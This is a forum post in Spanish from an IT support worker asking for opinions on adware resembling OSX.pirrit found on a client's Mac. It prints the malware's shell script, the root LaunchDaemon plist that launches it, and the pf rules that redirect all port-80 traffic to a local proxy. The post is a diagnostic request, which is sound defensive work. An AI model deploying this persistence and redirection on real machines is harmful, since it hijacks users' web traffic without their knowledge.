Hoy, mientras trabajaba con un cliente, alguien entró con un problema peculiar. Solo podían acceder a sitios web a través de https, y nada a través de http. Probé el guante habitual de correcciones para problemas relacionados con la red, pero el problema persistió y resultó que era un problema de todo el sistema y no exclusivo de los navegadores.
Resulta que cualquier solicitud realizada en el puerto 80 sería rechazada, mientras que las solicitudes realizadas en el puerto 443 podían pasar. Después de buscar por un tiempo y no encontrar absolutamente nada, mi supervisor sugirió buscar en /etc/LaunchDaemons
y revisar las listas, y resulta que había algunas entradas extrañas allí. Después de algunas investigaciones, descubrimos que nuestro caso era extremadamente similar, si no idéntico al caso descrito aquí, denominado OSX.pirrit por el autor (lectura fascinante por cierto).
La única diferencia entre este caso y el descrito, es que no hubo una aplicación maliciosa y no se inyectaron anuncios. El cliente simplemente no pudo conectarse a ningún sitio web en el puerto 80, sin otros síntomas manifestados. Tengo la sensación de que esto es solo una versión rota del virus OSX.pirrit, pero quería preguntar aquí solo para estar seguro. Hubo más archivos, pero personalmente ya no tengo acceso a la computadora para adquirirlos.
¿Algún pensamiento u opinión? d Tengo curiosidad por escuchar lo que otras personas tienen que pensar. Gracias por cualquier respuesta por adelantado.
A continuación, se encuentra el archivo de script malicioso change_net_settings.sh
como se describe en el blog vinculado pero en nuestra máquina (desde /etc/change_net_settings.sh
):
#!/bin/sh
appName=$(sudo defaults read /Library/Preferences/com.common.plist name)
echo $appName
userName=$(sudo defaults read /Library/Preferences/com.common.plist user_id)
echo $userName
if [ -a "/Library/"$appName"/Contents/MacOS/"$appName ];
then
sleep 10
sudo pfctl -evf /etc/pf_proxy.conf
sudo -u $userName "/Library/"$appName"/Contents/MacOS/"$appName
fi
exit 0
Aquí está el archivo com.pam.net-preferences.plist
que es la lista falsa que llama al script anterior (desde /Library/LaunchDaemons/com.pam.net-preferences.plist
):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>UserName</key>
<string>root</string>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.pref.net-preferences</string>
<key>RunAtLoad</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/etc/change_net_settings.sh</string>
</array>
Y finalmente, el archivo pf_proxy.conf
como se describe que reenvía todas las solicitudes al puerto 80 en localhost:9882
(desde /etc/pf_proxy.conf
):
rdr pass inet proto tcp from en1 to any port 80 -> 127.0.0.1 port 9882
pass out on en1 route-to lo0 inet proto tcp from en1 to any port 80 keep state
pass out proto tcp all user monte